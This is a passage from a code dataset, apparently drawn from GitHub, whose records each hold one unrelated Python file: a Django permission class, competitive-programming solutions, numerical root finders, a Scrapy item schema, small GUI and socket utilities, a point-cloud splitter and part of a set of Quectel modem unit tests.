Users.objects.get(id=actual_issue.assignee_user_id.id)\n            if request.user == issue_author:\n                if request.method in self.author_object_methods:\n                    return True\n            elif request.user in assignee:\n                if request.method in self.base_methods:\n                    return True\n            else:\n                print('you are not associated with this issue')\n\n\nclass IsCommentAuthor(BasePermission):\n    \"\"\"\n    Allow access to the issues view if user is Authenticated and,\n    author or Assignee of the related issue\n    Comment Author can create, get, modify or delete Comment\n    Related issue members can only get and post Comment\n    \"\"\"\n    message = 'you should be authenticated and Author or contributor!'\n    author_object_methods = ['GET', 'POST', 'PUT', 'DELETE']\n    base_methods = ['GET', 'POST']\n\n    def has_permission(self, request, view):\n        if request.user.is_authenticated:\n            self.actual_issue = Issues.objects.get(pk=view.kwargs['issues_pk'])\n            self.issue_author = self.actual_issue.author_user_id\n            self.assignee = Users.objects.get(id=self.actual_issue.assignee_user_id.id)\n            if request.user == self.issue_author:\n                return True\n            elif request.user in self.assignee:\n                return True\n            else:\n                print('you are not associated with this issue')\n\n    def has_object_permission(self, request, view, obj):\n        if request.user.is_authenticated:\n            actual_comment = Comments.objects.get(pk=view.kwargs['pk'])\n            comment_author = actual_comment.author_user_id\n            if request.user == comment_author:\n                if request.method in self.author_object_methods:\n                    print('issue member, comment author')\n                    return True\n            else:\n                if request.method in self.base_methods:\n                    print('issue member alone')\n                    return True\n","repo_name":"Satupathe/OC-P10-AG","sub_path":"SoftProjects/projects/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1660279156","text":"\"\"\"\nTitle : 가르침\nLink : https://www.acmicpc.net/problem/1062\n\"\"\"\n\nfrom itertools import combinations\nimport sys\ninput = sys.stdin.readline\n\n\ndef solution():\n    N, K = map(int, input().split())\n    alphabets = {'a', 'c', 'i', 'n', 't'}\n\n    words = []\n    additional_alphabests = set()\n    for _ in range(N):\n        word = input().strip()[4:-4]\n        word = set(s for s in word) - alphabets\n        words.append(word)\n        additional_alphabests |= word\n\n    limit = K - 5\n    if limit < 0:\n        print(0)\n        return\n    if len(list(additional_alphabests)) <= limit:\n        ans = N\n    else:\n        ans = 0\n        for comb in list(combinations(additional_alphabests, limit)):\n            count = 0\n            comb = set(comb)\n            for word in words:\n                for s in word:\n                    if s not in comb:\n                        break\n                else:\n                    count += 1\n            if ans < count:\n                ans = count\n    print(ans)\n    return\n\n\nsolution()\n","repo_name":"mintropy/algorithm_pulzo","sub_path":"이영준/2022/02/0228/1062.py","file_name":"1062.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"25278965957","text":"import numpy as np\n\nclass Iteration1D:\n    def __init__(self,f,method):\n        # Define self attributes\n        self.f = f\n        self.method = method\n\n        # Initialize initial interval for bisection\n        self.a = None\n        self.b = None\n\n        # Initialize initial guess\n        self.p0 = None\n\n        # Initialize tolerance and max iterations\n        self.tol = None\n        self.Nmax = None\n\n        # Initialize info message\n        self.info = None\n\n        # Initialize root\n        self.pstar = None\n\n        # Initialize iters for Newton or fixedpt\n        self.p_iters = None\n\n        # Initialize save_all variables\n        self.save_all = False\n\n        # Initialize vector of all guesses\n        self.p = None\n\n        # Initialize error type to absolute by default\n        self.error = 'absolute'\n\n    # Define root-finding functions\n    def root(self):\n        # Reset self.info\n        self.info = None\n\n        if self.method == 'bisection':\n            if self.a is None:\n                self.info = \"ERROR: Initial interval not fully defined. Please define a valid value for the beginning of the interval, a\"\n                self.pstar = None\n            elif self.b is None:\n                self.info = \"ERROR: Initial interval not fully defined. Please define a valid value for the end of the interval, b\"\n                self.pstar = None\n            elif self.tol is None:\n                self.info = \"ERROR: tolerance not defined. Please define a valid value for tol\"\n                self.pstar = None\n            elif self.Nmax is None:\n                self.info = \"ERROR: Max iterations not specified. Please define Nmax\"\n                self.pstar = None\n            else:\n                # Run bisection method\n                [self.pstar, self.ier] = bisection(self.f, self.a, self.b, self.tol, self.Nmax, self.error)\n\n                # Classify error message\n                if self.ier == 1:\n                    self.info = \"ERROR: No root in initial interval\"\n                    self.pstar = None\n                elif self.ier == 2:\n                    self.info = \"ERROR: Exceeded max iterations. Root not found to specified tolerance\"\n                    self.pstar = None\n                elif self.ier == 3:\n                    self.info = \"ERROR: Root not found\"\n                    self.pstar = None\n                elif self.ier == 4:\n                    self.info = \"ERROR: Invalid error type\"\n                    self.pstar = None\n        elif self.method == 'fixedpt':\n            if self.p0 is None:\n                self.info = \"ERROR: No initial guess. Please define x0\"\n                self.pstar = None\n            elif self.tol is None:\n                self.info = \"ERROR: tolerance not defined. Please define a valid value for tol\"\n                self.pstar = None\n            elif self.Nmax is None:\n                self.info = \"ERROR: Max iterations not specified. Please define Nmax\"\n                self.pstar = None\n            else:\n                # Run fixed point method\n                if self.save_all:\n                    [self.pstar,self.ier,self.p] = fixedpt(self.f,self.p0,self.tol,self.Nmax,self.save_all,self.error)\n                else:\n                    [self.pstar,self.ier] = fixedpt(self.f,self.p0,self.tol,self.Nmax,self.save_all,self.error)\n\n                # Classify error message\n                if self.ier == 1:\n                    self.info = \"ERROR: Exceeded max iterations. Root not found to specified tolerance\"\n                    self.pstar = None\n                if self.ier == 2:\n                    self.info = \"ERROR: Invalid error type\"\n                    self.pstar = None\n        else:\n            self.info = \"ERROR: Incorrect method type. Please select either 'bisection' or 'fixedpt.'\"\n            self.pstar = None\n        \n        # Print error statement if it exists\n        if self.info is not None:\n            print(self.info)\n        \n        # Return the root\n        return self.pstar\n\ndef bisection(f,a,b,tol,Nmax,error):\n    '''\n    Inputs:\n    f,a,b       - function and endpoints of initial interval\n    tol, Nmax   - bisection stops when interval length < tol\n                - or if Nmax iterations have occured\n    error       - error type\n    Returns:\n    astar - approximation of root\n    ier   - error message\n            - ier = 1 => cannot tell if there is a root in the interval\n            - ier = 0 == success\n            - ier = 2 => ran out of iterations\n            - ier = 3 => other error ==== You can explain\n    '''\n\n    '''     first verify there is a root we can find in the interval '''\n    ier = 0\n    fa = f(a); fb = f(b)\n    if (fa*fb>0):\n        ier = 1\n        astar = a\n        return [astar, ier]\n\n    ''' verify end point is not a root '''\n    if (fa == 0):\n        astar = a\n        ier =0\n        return [astar, ier]\n\n    if (fb ==0):\n        astar = b\n        ier = 0\n        return [astar, ier]\n\n    count = 0\n    while (count < Nmax):\n        c = 0.5*(a+b)\n        fc = f(c)\n\n        if (fc == 0):\n            astar = c\n            ier = 0\n            print(\"The algorithm converged in \" + str(count) + \" iterations!\")\n            return [astar, ier]\n\n        if (fa*fc<0):\n            b = c\n        elif (fb*fc<0):\n            a = c\n            fa = fc\n        else:\n            astar = c\n            ier = 3\n            return [astar, ier]\n\n        if error == 'absolute':\n            if (abs(b-a)<tol):\n                astar = a\n                ier =0\n                print(\"The algorithm converged in \" + str(count) + \" iterations!\")\n                return [astar, ier]\n        elif error == 'relative':\n            if ((abs(b-a)/abs(a))<tol):\n                astar = a\n                ier =0\n                print(\"The algorithm converged in \" + str(count) + \" iterations!\")\n                return [astar, ier]\n        else:\n            astar = None\n            ier = 4\n            return [astar, ier]\n        \n        count = count +1\n\n    astar = a\n    ier = 2\n    return [astar,ier]\n\ndef fixedpt(f,x0,tol,Nmax,save_all,error):\n\n    ''' x0 = initial guess''' \n    ''' Nmax = max number of iterations'''\n    ''' tol = stopping tolerance'''\n\n    count = 0\n    \n    if save_all:\n        x = np.zeros((1,1))\n        x[0] = x0\n        \n    while (count <Nmax):\n        count = count +1\n        x1 = f(x0)\n\n        if save_all:\n            x = np.append(x,x1)\n\n        if error == 'absolute':\n            if (abs(x1-x0) <tol):\n                xstar = x1\n                ier = 0\n\n                if save_all:\n                    return [xstar,ier,x]\n                else:\n                    return [xstar,ier]\n        elif error == 'relative':\n            if ((abs(x1-x0)/abs(x0)) <tol):\n                xstar = x1\n                ier = 0\n\n                if save_all:\n                    return [xstar,ier,x]\n                else:\n                    return [xstar,ier]\n        else:\n            xstar = None\n            ier = 2\n            if save_all:\n                return [xstar,ier,x]\n            else:\n                return [xstar,ier]\n        x0 = x1\n\n    xstar = x1\n    ier = 1\n\n    if save_all:\n        return [xstar,ier,x]\n    else:\n        return [xstar,ier]","repo_name":"TychoCinquini/APPM4610","sub_path":"mypkg/Iteration1D.py","file_name":"Iteration1D.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"19455618988","text":"# -*- coding: utf-8 -*-\n\n# Define here the models for your scraped items\n#\n# See documentation in:\n# http://doc.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\nfrom scrapy import Field\n\n\nclass BaiheItem(scrapy.Item):\n    mongodb_id = Field()\n    name = Field()\n    baiheid = Field()#id\n    avatar = Field()#头像\n    description = Field()#描述\n    age = Field()#年龄\n    height = Field()#身高\n    weight = Field()#体重\n    education = Field()#教育程度\n    lovetype = Field()#恋爱类型\n    img = Field()#图片\n    address = Field()#现居地\n    income = Field()#收入\n    marriage=Field()#婚姻\n    self_evaluation=Field()#自我评价\n    account=Field()#户口\n    occupation=Field()#职业\n    profession=Field()#专业\n    familysituation=Field()#家庭情况\n    parentalstatus=Field()#父母情况\n    motherwork=Field()#母亲工作\n    fatherwork=Field()#父亲工作\n    marriagetime=Field()#结婚时间\n    dating=Field()#约会方式\n    otherfancy=Field()#对方看中\n    cooking=Field()#厨艺状态\n\n    manage=Field()#对方年龄\n    manheight = Field()  # 对方身高\n    manedu = Field()  # 对方学历\n    manincome = Field()  # 对方收入\n    manaddress = Field()  # 对方所在地\n\n    hobbies=Field()#爱好\n    bodytype=Field()#体型\n\n\n    pass\n","repo_name":"longshihan1/baihe","sub_path":"baihe/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33463089385","text":"import PySimpleGUI as sg\r\nimport backend\r\nimport data_params\r\nimport json\r\n\r\n# sg.ChangeLookAndFeel(\"Dark\")\r\n\r\nmenu_def = [['Help', ['&Instructions', '&About', 'E&xit']]]\r\n\r\nlayout = [\r\n    [sg.Menu(menu_def)],\r\n    [sg.Text(\"Select number of test persons\"),\r\n     sg.Spin([i for i in range(1, 101)], initial_value=1, key=\"SPIN1\", size=(3, 1))],\r\n    [sg.Text(\"Do you want to save results in a file?\"), sg.Radio('Yes', \"RADIO1\", key=\"Y\", default=False),\r\n     sg.Radio('No', \"RADIO1\", key=\"N\", default=True)],\r\n    [sg.Button(\"Run\", bind_return_key=True), sg.Button(\"Exit\"), sg.Button(\"Reset\"), sg.T(\"\" * 10),\r\n     sg.Button(\"Show results\")]\r\n]\r\n\r\nwindow = sg.Window(\r\n    'Test person generator',\r\n    layout,\r\n    return_keyboard_events=True\r\n)\r\n\r\nwin2_active = False\r\nwhile True:\r\n    event, values = window.Read()\r\n    print(event, values)\r\n    if event in (None, 'Exit'):\r\n        break\r\n    if event == \"Run\":\r\n        backend.generate_data(values[\"SPIN1\"])\r\n        data_params.personer_formatted = json.dumps(data_params.final, indent=4, ensure_ascii=False)\r\n        sg.PopupScrolled(data_params.personer_formatted, title=\"Call success\")\r\n        if values[\"Y\"]:\r\n            try:\r\n                folder_path = sg.PopupGetFolder(\r\n                    \"Select folder path\",\r\n                    title='Select folder',\r\n                    default_path=data_params.path)\r\n                data_params.path = folder_path\r\n                backend.save_output(folder_path)\r\n            except FileNotFoundError as file_not_found:\r\n                sg.Popup(\"File not found or no file selected\")\r\n                print(file_not_found)\r\n    if event == \"Reset\":\r\n        backend.reset()\r\n        window[\"N\"](True)\r\n    if event == \"Show results\":\r\n        sg.PopupScrolled(data_params.personer_formatted, title=\"Results\")\r\n    if event == \"Instructions\":\r\n        sg.popup(data_params.howto_msg, non_blocking=True)\r\n    if event == \"About\":\r\n        sg.popup(data_params.about_msg, non_blocking=True)\r\n\r\nwindow.Close()\r\n\r\n","repo_name":"Redabenmeradi/testpersons","sub_path":"Testpersons.py","file_name":"Testpersons.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10846852344","text":"#!/usr/bin/env python\n\n\"\"\"\nConnectionAdapterFactory\n\"\"\"\n\nfrom product.connection_adapters.fpga_serial_adapter import *\nfrom product.connection_adapters.fpga_parallel_adapter import *\nfrom product.connection_adapters.usb_adapter import *\nfrom product.connection_adapters.mock_adapter import *\n\nclass ConnectionAdapterFactory(object):\n    \"\"\"\n    Factory class which returns an instance of a connection adapter. The factory class \n    method request can detect available adapters or return an explicitly requested adapter type.\n    \"\"\"\n\n    def __init__(self):\n        raise Exception('Factory classes cannot be instantiated')\n\n    @staticmethod\n    def request(type = None):\n        \"\"\"Sniffs out connection and returns an instance of the bridge for the protocol in use\"\"\"\n        if type == None:\n            # Try to detect\n            if (FPGAParallelAdapter.detect()):\n                return FPGAParallelAdapter()\n            elif (FPGASerialAdapter.detect()):\n                return FPGASerialAdapter()\n            elif (USBAdapter.detect()):\n                return USBAdapter()\n            elif MockAdapter.detect():\n                return MockAdapter()\n            else:\n                raise LookupError('Could not detect a PC to Device adapter protocol.')\n        else:\n            # Try to load the request connection\n            type = type.lower()\n            if type == 'mock' and MockAdapter.detect():\n                return MockAdapter()\n            elif type == 'parallel fpga' and FPGAParallelAdapter.detect():\n                return FPGAParallelAdapter()\n            elif type == 'serial fpga' and FPGASerialAdapter.detect():\n                return FPGASerialAdapter()\n            elif type == 'usb' and USBAdapter.detect():\n                return USBAdapter()\n            else:\n                raise LookupError('Could not detect a %s adapter protocol.' % type)\n\n\nif __name__=='__main__' :\n    #f = ConnectionAdapterFactory.request()\n    #print f.type\n    pass","repo_name":"jwtd/lab-monkey","sub_path":"product/connection_adapters/connection_adapter_factory.py","file_name":"connection_adapter_factory.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"18215418782","text":"class Solution:\n  def getMinSwaps(self, num: str, k: int) -> int:\n    def nextPermutation(nums: List[int]):\n      n = len(nums)\n\n      # From back to front, find the first num < nums[i + 1]\n      i = n - 2\n      while i >= 0:\n        if nums[i] < nums[i + 1]:\n          break\n        i -= 1\n\n      # From back to front, find the first num > nums[i], swap it with nums[i]\n      if i >= 0:\n        for j in range(n - 1, i, -1):\n          if nums[j] > nums[i]:\n            nums[i], nums[j] = nums[j], nums[i]\n            break\n\n      def reverse(nums, l, r):\n        while l < r:\n          nums[l], nums[r] = nums[r], nums[l]\n          l += 1\n          r -= 1\n\n      # Reverse nums[i + 1..n - 1]\n      reverse(nums, i + 1, len(nums) - 1)\n\n    A = [int(c) for c in num]  # Original\n    B = A.copy()  # Permutated\n\n    for _ in range(k):\n      nextPermutation(B)\n\n    def countSteps(A: List[int], B: List[int]) -> int:\n      count = 0\n\n      j = 0\n      for i in range(len(A)):\n        j = i\n        while A[i] != B[j]:\n          j += 1\n        while i < j:\n          B[j], B[j - 1] = B[j - 1], B[j]\n          j -= 1\n          count += 1\n\n      return count\n\n    return countSteps(A, B)\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/1850. Minimum Adjacent Swaps to Reach the Kth Smallest Number/1850.py","file_name":"1850.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"}
+{"seq_id":"37671161200","text":"# Echo server\n\n# Importing Libraries\nimport socket\nimport sys\nimport struct\nimport array\n\nclass environment():\n\t\n\t# Connection for sender socket\n\tglobal sendConn\n\tsendHost = 'localhost'  # Symbolic name meaning all available interfaces\n\tsendPort = 50000        # Arbitrary non-privileged port\n\t# Connection for receiver socket\n\tglobal recvConn\n\trecvHost = 'localhost'  # Symbolic name meaning all available interfaces\n\trecvPort = 50001        # Arbitrary non-privileged port\n\tglobal last_data\n\t\n\t# Creating server Socket\n\tdef createServerSockets(self):\n\t\t\n\t\t# Calling socket creater methods\n\t\tself.createSendServerSocket()\n\t\tself.createRecvServerSocket()\n\n\tdef createSendServerSocket(self):\n\t\t# Creating server Socket location\n\t\tserverSocketS = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\ttry:\n\t\t\tserverSocketS.bind((self.sendHost, self.sendPort))\n\t\texcept:\n\t\t\tprint('Bind failed.')\n\t\t\tsys.exit()\n\t\tprint ('Socket bind complete')\n\t\t# Enable listening\n\t\tserverSocketS.listen(1)\n\t\tprint ('Socket now listening')\n\t\t\n\t\t# Wait for client connection\n\t\tprint ('waiting 10 seconds for response from client at sender port ',self.sendPort)\n\t\tserverSocketS.settimeout(10)\n\t\ttry:\n\t\t\tself.sendConn, addr = serverSocketS.accept()\n\t\texcept socket.timeout:\n\t\t\tprint('No connection, program terminated')\n\t\t\tsys.exit()\n\t\tprint ('Connected by', addr,'on sender port',self.sendPort)\n\t\t\n\t\t\n\t\t# Create socket for receiving\n\t\t\n\t\t# Creating server Socket\n\tdef createRecvServerSocket(self):\n\t\t# Creating server Socket location\n\t\tserverSocketR = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\ttry:\n\t\t\tserverSocketR.bind((self.recvHost, self.recvPort))\n\t\texcept:\n\t\t\tprint('Bind failed.')\n\t\t\tsys.exit()\n\t\tprint ('Socket bind complete')\n\t\t# Enable listening\n\t\tserverSocketR.listen(1)\n\t\tprint ('Socket now listening')\n\t\t\n\t\t# Wait for client connection\n\t\tprint ('waiting for response from client at receiver port ',self.recvPort)\n\t\tself.recvConn, addr = serverSocketR.accept()\n\t\tprint ('Connected by', addr,'on receiver port',self.recvPort)\n\t\n\tdef receiveState(self):\n\t\t# Receive state formed as binary array\n\t\tdata = self.recvConn.recv(2048);\n\t\t# decode state\n\t\treturn self.decodeState(data)\n\n\tdef decodeState(self, data):\n\t\t# Unpack from hex (binary array) to double\n\t\ttry:\n\t\t\tdata = array.array('d',data)\n\t\texcept: \n\t\t\tdata = self.last_data\n\n\t\treturn data\n\t\t\n\tdef sendAction(self, msg):\n\t\tmsg = struct.pack(\"I\",msg)\n\t\tself.sendConn.sendall(msg)#.encode('utf-8'))\t","repo_name":"maczikasz/eligibility_pump","sub_path":"world/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"37007172455","text":"from gui.app import SampleApp\nfrom entities.database import DataBase\nimport sqlite3\nfrom database import CreateDataBase\n\n\n\nif __name__ == \"__main__\":\n    decision = input(\"Do you want to create the database? Y/N\")\n    main_db = DataBase(\n        name=\"main_database.db\",\n        tables={\n            \"stakeholders\": ['Name', 'Needs', 'Parent'],\n            \"needs\": ['name', 'Description', 'Stakeholder', 'Requirements'],\n            \"requirements\": ['Name', 'Description', 'Priority', 'Type', 'Source', 'Version', 'Author']}\n    )\n    if decision == \"Y\":\n        CreateDataBase(main_db)\n\n    app = SampleApp(main_db)\n\n    app.mainloop()\n","repo_name":"0110lekniw/chare_v2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74493561654","text":"from obsidian.module import Module, AbstractModule, Dependency\nfrom obsidian.cpe import CPE\n\n\n@Module(\n    \"InstantMOTD\",\n    description=\"Indicates a client supports receiving Server Identification packets at any time, not just before a map is sent.\",\n    author=\"Obsidian\",\n    version=\"1.0.0\",\n    dependencies=[Dependency(\"core\")]\n)\n@CPE(\n    extName=\"InstantMOTD\",\n    extVersion=1,\n    cpeOnly=True\n)\nclass InstantMOTDModule(AbstractModule):\n    def __init__(self, *args):\n        super().__init__(*args)\n","repo_name":"EdwardJXLi/ProjectObsidian","sub_path":"obsidian/modules/cpe/instantmotd.py","file_name":"instantmotd.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"}
+{"seq_id":"19024199560","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nimport numpy as np\n\nimport cellconstructor as CC\nimport cellconstructor.Phonons\nimport cellconstructor.symmetries\n\nimport sys, os\nimport pytest\n\n@pytest.mark.parametrize(\"FILDYN, NQIRR\", [(\"Sym.dyn.\", 3), (\"skydyn_\", 4)])\ndef test_symmetries_supercell(FILDYN, NQIRR):\n\n    total_path = os.path.dirname(os.path.abspath(__file__))\n    os.chdir(total_path)\n\n\n    dynmat = CC.Phonons.Phonons(FILDYN, NQIRR)\n    SUPERCELL = dynmat.GetSupercell()\n\n    # Compute the frequencies\n    supercell_dyn = dynmat.GenerateSupercellDyn(SUPERCELL)\n    w1, pols = supercell_dyn.DyagDinQ(0)\n\n    # Show the modes for each q point\n    for i,q in enumerate(dynmat.q_tot):\n        print (\"Dyagonalizing:\", q)\n        w, p = dynmat.DyagDinQ(i)\n        print (\" \".join([\"%.4f cm-1 \" % (x * CC.Phonons.RY_TO_CM) for x in w]))\n\n    #dynmat.Symmetrize()\n    # # Test the symmetrization\n    qe_sym = CC.symmetries.QE_Symmetry(dynmat.structure)\n\n    fc_dynmat_start = np.array(dynmat.dynmats)\n\n\n    after_sym = fc_dynmat_start.copy()\n    qe_sym.SymmetrizeFCQ(after_sym, dynmat.q_stars, verbose = True)\n    for i,q in enumerate(dynmat.q_tot):\n        dynmat.dynmats[i] = after_sym[i,:,:]\n\n    # Show the modes for each q point\n    for i,q in enumerate(dynmat.q_tot):\n        print (\"After Dyagonalizing:\", q)\n        w, p = dynmat.DyagDinQ(i)\n        print (\" \".join([\"%.4f cm-1 \" % (x * CC.Phonons.RY_TO_CM) for x in w]))\n\n    # Print the difference between before and after the symmetrization\n    print ()\n    print (\"Difference of the symmetrization:\")\n    print (np.sqrt( np.sum( (after_sym - fc_dynmat_start)**2 ) / np.sum(after_sym*fc_dynmat_start)))\n\n    # print \"\"\n\n    # Now lets try to randomize the matrix\n    #new_random = np.random.uniform( size = np.shape(fc_dynmat_start)) + 1j*np.random.uniform( size = np.shape(fc_dynmat_start))\n\n    # print \"Saving a not symmetrized random matrix to Random.dyn.IQ, where IQ is the q index\"\n    # # Lets save the new matrix in QE format\n    # for i, q in enumerate(dynmat.q_tot):\n    #     dynmat.dynmats[i] = new_random[i, :, :]\n    # dynmat.save_qe(\"Random.dyn.\")\n\n    # # Lets constrain the symmetries\n    # # We use asr = crystal to force the existence of the acustic modes in Gamma\n    # qe_sym.SymmetrizeFCQ(new_random, np.array(dynmat.q_stars), asr = \"no\")\n\n    # # Lets save the new matrix in QE format\n    # for i, q in enumerate(dynmat.q_tot):\n    #     dynmat.dynmats[i] = new_random[i, :, :]\n\n    # print \"Saving a symmetrized random matrix to Sym.dyn.IQ, where IQ is the q index\"\n    # dynmat.save_qe(\"Sym.dyn.\")\n    # print \"\"\n\n    # Compute the frequencies\n    supercell_dyn = dynmat.GenerateSupercellDyn(SUPERCELL)\n    w, pols = supercell_dyn.DyagDinQ(0)\n    # Get the translations\n    t = CC.Methods.get_translations(pols, supercell_dyn.structure.get_masses_array())\n\n    dynmat.Symmetrize()\n    # Compute the frequencies\n    supercell_dyn = dynmat.GenerateSupercellDyn(SUPERCELL)\n    w3, pols = supercell_dyn.DyagDinQ(0)\n    # Get the translations\n    t = CC.Methods.get_translations(pols, supercell_dyn.structure.get_masses_array())\n\n\n    # Make the assert test\n    for i, _w_ in enumerate(w):\n        w2 = w3[i]\n\n        assert np.abs(_w_ - w2) < 1e-8\n\n    # print \"Frequencies:\"\n    # print \"\\n\".join([\"%.4f cm-1  | %.4f cm-1  | %.4f cm-1  T: %d\" % (w1[i]*CC.Phonons.RY_TO_CM, w[i]*CC.Phonons.RY_TO_CM, w3[i]*CC.Phonons.RY_TO_CM, t[i]) for i in range(len(w))])\n    # print \"\"\n    # print \"Done.\"\n\n\nif __name__ == \"__main__\":\n    test_symmetries_supercell(\"Sym.dyn.\", 3)\n","repo_name":"SSCHAcode/CellConstructor","sub_path":"tests/TestSymmetriesSupercell/test_symmetries_supercell.py","file_name":"test_symmetries_supercell.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"}
+{"seq_id":"13537258702","text":"import os\nimport glob\nimport numpy as np\nfrom pyntcloud import PyntCloud\nfrom collections import defaultdict\nfrom tqdm import tqdm\nfrom itertools import cycle\nfrom torch.multiprocessing import Pool\n\ndef partition(filename, args):\n    # partition.\n    point_cloud = PyntCloud.from_file(filename)\n    pc_xyz = point_cloud.points.values[:, :3]\n\n    # partition point cloud to cubes.\n    cubes = defaultdict(list)\n    for point in pc_xyz:\n        cube_index = tuple((point//args.cube_size).astype(\"int\"))\n        local_point = point % args.cube_size # np.array\n        cubes[cube_index].append(local_point)\n    list_item = list(cubes.keys())\n    for item in list_item:\n        if len(cubes[item]) < args.min_num:\n            del cubes[item]\n    return cubes\n\ndef write_cubes(cubes, args, name):\n    items = os.path.basename(name).replace('.ply', '').split('_')\n    if 'enc' in name:\n        category = items[-2]\n        frame = items[-3].zfill(8)\n        squence = items[1]\n    else:\n        category = 'gt'\n        squence = items[0]\n        frame = items[-1].zfill(8)\n    result_dir = '{}/{}/{}'.format(category, squence, frame)\n    result_dir = os.path.join(args.save_dir, result_dir)\n    if not os.path.exists(result_dir):\n        os.makedirs(result_dir)\n    for item in cubes:\n        name = [str(item).zfill(3) for item in item]\n        name = os.path.join(result_dir, '_'.join(name)+'.txt')\n        array = np.vstack(cubes[item]).astype(np.int32)\n        np.savetxt(name, array, '%d')\n\ndef run(data):\n    filename, args = data\n    cubes = partition(filename, args)\n    write_cubes(cubes, args, filename)\n\nif __name__=='__main__':\n    import argparse\n    parser = argparse.ArgumentParser(\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n    parser.add_argument(\"--source_dir\", type=str, default=\"./example\")\n    parser.add_argument(\"--save_dir\", type=str, default=\"./data\")\n    parser.add_argument(\"--cube_size\", type=int, default=64)\n    parser.add_argument(\"--min_num\", type=int, default=3)\n    parser.add_argument('--workers', type=int, default=20)\n    args = parser.parse_args()\n\n    point_cloud_dirs = sorted(glob.glob(os.path.join(args.source_dir, '*.ply')))\n\n    pool = Pool(args.workers)\n    args_list = cycle([args])\n    for data in tqdm(pool.imap_unordered(run, zip(point_cloud_dirs, args_list))):\n        None    \n","repo_name":"fxqzb/Deep-Geometry-Post-Processing","sub_path":"util/split_point_cloud.py","file_name":"split_point_cloud.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"}
+{"seq_id":"352960679","text":"from unittest.mock import patch, call\nimport pytest\nimport sys\n\nfrom Hologram.Network.Modem.Quectel import Quectel\nfrom Hologram.Network.Modem.Modem import Modem\nfrom UtilClasses import ModemResult\n\nsys.path.append(\".\")\nsys.path.append(\"..\")\nsys.path.append(\"../..\")\n\n\ndef mock_write(modem, message):\n    return True\n\n\ndef mock_read(modem):\n    return True\n\n\ndef mock_readline(modem, timeout=None, hide=False):\n    return \"\"\n\n\ndef mock_open_serial_port(modem, device_name=None):\n    return True\n\n\ndef mock_close_serial_port(modem):\n    return True\n\n\ndef mock_detect_usable_serial_port(modem, stop_on_first=True):\n    return \"/dev/ttyUSB0\"\n\n\n@pytest.fixture\ndef no_serial_port(monkeypatch):\n    monkeypatch.setattr(Quectel, \"_read_from_serial_port\", mock_read)\n    monkeypatch.setattr(Quectel, \"_readline_from_serial_port\", mock_readline)\n    monkeypatch.setattr(Quectel, \"_write_to_serial_port_and_flush\", mock_write)\n    monkeypatch.setattr(Quectel, \"openSerialPort\", mock_open_serial_port)\n    monkeypatch.setattr(Quectel, \"closeSerialPort\", mock_close_serial_port)\n    monkeypatch.setattr(Quectel, \"detect_usable_serial_port\", mock_detect_usable_serial_port)\n\n\ndef test_init_Quectel_no_args(no_serial_port):\n    modem = Quectel()\n    assert modem.timeout == 1\n    assert modem.socket_identifier == 0\n    assert modem.chatscript_file.endswith(\"/chatscripts/default-script\")\n    assert modem._at_sockets_available\n\n@patch.object(Quectel, \"check_registered\")\n@patch.object(Quectel, \"set\")\n@patch.object(Quectel, \"command\")\ndef test_create_socket(mock_command, mock_set, mock_check, no_serial_port):\n    modem = Quectel()\n    modem.apn = 'test'\n    mock_check.return_value = True\n    # The PDP context is not active\n    mock_command.return_value = (ModemResult.OK, '+QIACT: 0,0')\n    mock_set.return_value = (ModemResult.OK, None)\n    modem.create_socket()\n    mock_command.assert_called_with(\"+QIACT?\")\n    mock_set.assert_has_calls(\n        [\n            call(\"+QICSGP\", '1,1,\\\"test\\\",\\\"\\\",\\\"\\\",1'),\n            call(\"+QIACT\", '1', timeout=30)\n        ],\n        any_order=True\n    )\n\n@patch.object(Quectel, \"command\")\ndef test_connect_socket(mock_command, no_serial_port):\n    modem = Quectel()\n    modem.socket_identifier = 1\n    host = \"hologram.io\"\n    port = 9999\n    modem.connect_socket(host, port)\n    mock_command.assert_called_with(\"+QIOPEN\", '1,0,\"TCP\",\"%s\",%d,0,1' % (host, port))\n\n\n@patch.object(Quectel, \"set\")\ndef test_write_socket_small(mock_command, no_serial_port):\n    modem = Quectel()\n    modem.socket_identifier = 1\n    data = b\"Message smaller than 510 bytes\"\n    mock_command.return_value = (ModemResult.OK, None)\n    modem.write_socket(data)\n    mock_command.assert_called_with(\n        \"+QISENDEX\",\n        '1,\"4d65737361676520736d616c6c6572207468616e20353130206279746573\"',\n        timeout=10,\n    )\n\n\n@patch.object(Quectel, \"set\")\ndef test_write_socket_large(mock_command, no_serial_port):\n    modem = 